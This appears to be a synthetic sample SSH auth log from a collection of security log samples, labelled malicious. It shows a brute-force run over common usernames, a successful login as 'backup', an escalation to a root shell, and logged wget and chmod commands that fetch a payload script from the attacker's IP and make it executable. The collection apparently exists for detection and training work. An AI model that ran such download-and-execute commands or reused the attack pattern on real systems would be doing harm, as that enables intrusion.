security-log-samples / samples /auth-log /malicious /authlog_brute_force.log
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Mar 15 02:00:01 web-01 sshd[3821]: Failed password for root from 198.51.100.26 port 54100 ssh2
Mar 15 02:00:02 web-01 sshd[3821]: Failed password for root from 198.51.100.26 port 54101 ssh2
Mar 15 02:00:03 web-01 sshd[3821]: Failed password for root from 198.51.100.26 port 54102 ssh2
Mar 15 02:00:04 web-01 sshd[3821]: Failed password for admin from 198.51.100.26 port 54103 ssh2
Mar 15 02:00:05 web-01 sshd[3821]: Invalid user pi from 198.51.100.26 port 54104
Mar 15 02:00:06 web-01 sshd[3821]: Invalid user ubuntu from 198.51.100.26 port 54105
Mar 15 02:00:07 web-01 sshd[3821]: Invalid user oracle from 198.51.100.26 port 54106
Mar 15 02:00:08 web-01 sshd[3821]: Failed password for postgres from 198.51.100.26 port 54107 ssh2
Mar 15 02:00:09 web-01 sshd[3821]: Invalid user testuser from 198.51.100.26 port 54108
Mar 15 02:00:10 web-01 sshd[3821]: Invalid user deploy from 198.51.100.26 port 54109
Mar 15 02:00:11 web-01 sshd[3821]: Failed password for root from 198.51.100.26 port 54110 ssh2
Mar 15 02:00:12 web-01 sshd[3821]: Failed password for root from 198.51.100.26 port 54111 ssh2
Mar 15 02:00:13 web-01 sshd[3821]: Invalid user git from 198.51.100.26 port 54112
Mar 15 02:00:14 web-01 sshd[3821]: Invalid user ftp from 198.51.100.26 port 54113
Mar 15 02:00:15 web-01 sshd[3821]: Failed password for admin from 198.51.100.26 port 54114 ssh2
Mar 15 02:00:16 web-01 sshd[3821]: Failed password for root from 198.51.100.26 port 54115 ssh2
Mar 15 02:00:17 web-01 sshd[3821]: error: maximum authentication attempts exceeded for root from 198.51.100.26 port 54116 ssh2
Mar 15 02:10:00 web-01 sshd[3822]: Failed password for root from 198.51.100.12 port 61000 ssh2
Mar 15 02:10:01 web-01 sshd[3822]: Failed password for root from 198.51.100.12 port 61001 ssh2
Mar 15 02:10:02 web-01 sshd[3822]: Failed password for admin from 198.51.100.12 port 61002 ssh2
Mar 15 02:10:03 web-01 sshd[3822]: Invalid user ansible from 198.51.100.12 port 61003
Mar 15 02:10:04 web-01 sshd[3822]: Invalid user vagrant from 198.51.100.12 port 61004
Mar 15 02:10:05 web-01 sshd[3822]: Failed password for root from 198.51.100.12 port 61005 ssh2
Mar 15 02:15:00 web-01 sshd[4001]: Accepted password for backup from 198.51.100.12 port 61100 ssh2
Mar 15 02:15:05 web-01 sudo[4010]: backup : TTY=pts/1 ; PWD=/home/backup ; USER=root ; COMMAND=/bin/bash
Mar 15 02:15:07 web-01 sudo[4011]: backup : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://198.51.100.12/payload.sh
Mar 15 02:15:10 web-01 sudo[4012]: backup : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/bin/chmod 755 /tmp/payload.sh